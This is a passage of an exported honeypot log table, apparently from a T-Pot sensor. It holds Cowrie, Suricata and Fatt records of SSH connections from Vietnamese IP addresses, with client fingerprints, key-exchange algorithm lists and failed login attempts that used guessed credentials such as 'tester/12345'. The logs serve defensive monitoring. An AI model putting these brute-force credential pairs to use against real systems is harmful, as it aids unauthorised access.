"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24218	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:34.541132+03	2021-09-20 14:15:08.5005+03	{"_id": "JgbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [new/new] failed", "session": "7fe8617cbda9", "@version": "1", "password": "new", "username": "new", "timestamp": "2021-09-20T11:08:34.541132Z", "@timestamp": "2021-09-20T11:08:34.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24219	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:34.593701+03	2021-09-20 14:15:08.50147+03	{"_id": "JwbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6dce4502b646", "@version": "1", "duration": 2.739657402038574, "timestamp": "2021-09-20T11:08:34.593701Z", "@timestamp": "2021-09-20T11:08:34.593Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24220	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:34.623312+03	2021-09-20 14:15:08.5035+03	{"_id": "KAbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [play/play] failed", "session": "c12798484fe7", "@version": "1", "password": "play", "username": "play", "timestamp": "2021-09-20T11:08:34.623312Z", "@timestamp": "2021-09-20T11:08:34.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24221	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:34.769753+03	2021-09-20 14:15:08.504497+03	{"_id": "KQbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "41cf1d4c365f", "@version": "1", "duration": 2.9335906505584717, "timestamp": "2021-09-20T11:08:34.769753Z", "@timestamp": "2021-09-20T11:08:34.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24222	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:34.784142+03	2021-09-20 14:15:08.505501+03	{"_id": "KgbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "911f8bf77278", "@version": "1", "timestamp": "2021-09-20T11:08:34.784142Z", "@timestamp": "2021-09-20T11:08:34.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24223	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:34.918222+03	2021-09-20 14:15:08.506502+03	{"_id": "KwbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "67d82fe64cf4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:34.918222Z", "@timestamp": "2021-09-20T11:08:34.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24224	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:34.99895+03	2021-09-20 14:15:08.507514+03	{"_id": "LAbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8ca4a3849b69", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:34.998950Z", "@timestamp": "2021-09-20T11:08:34.998Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24225	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:35.219123+03	2021-09-20 14:15:08.509503+03	{"_id": "LQbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "67d82fe64cf4", "@version": "1", "timestamp": "2021-09-20T11:08:35.219123Z", "@timestamp": "2021-09-20T11:08:35.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24226	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:35.286741+03	2021-09-20 14:15:08.510471+03	{"_id": "LgbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [tester/12345] failed", "session": "572775a3daac", "@version": "1", "password": "12345", "username": "tester", "timestamp": "2021-09-20T11:08:35.286741Z", "@timestamp": "2021-09-20T11:08:35.286Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24227	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:35.29113+03	2021-09-20 14:15:08.511506+03	{"_id": "LwbkAnwBvYTbRNuEtRIj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8ca4a3849b69", "@version": "1", "timestamp": "2021-09-20T11:08:35.291130Z", "@timestamp": "2021-09-20T11:08:35.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24228	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:35.195955+03	2021-09-20 14:15:08.512501+03	{"_id": "MAbkAnwBvYTbRNuEtxKB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1493591716442550, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48162, "dest_port": 22, "timestamp": "2021-09-20T11:08:35.195955Z", "@timestamp": "2021-09-20T11:08:35.195Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24229	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:35.276154+03	2021-09-20 14:15:08.513502+03	{"_id": "MwbkAnwBvYTbRNuEuBJt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", 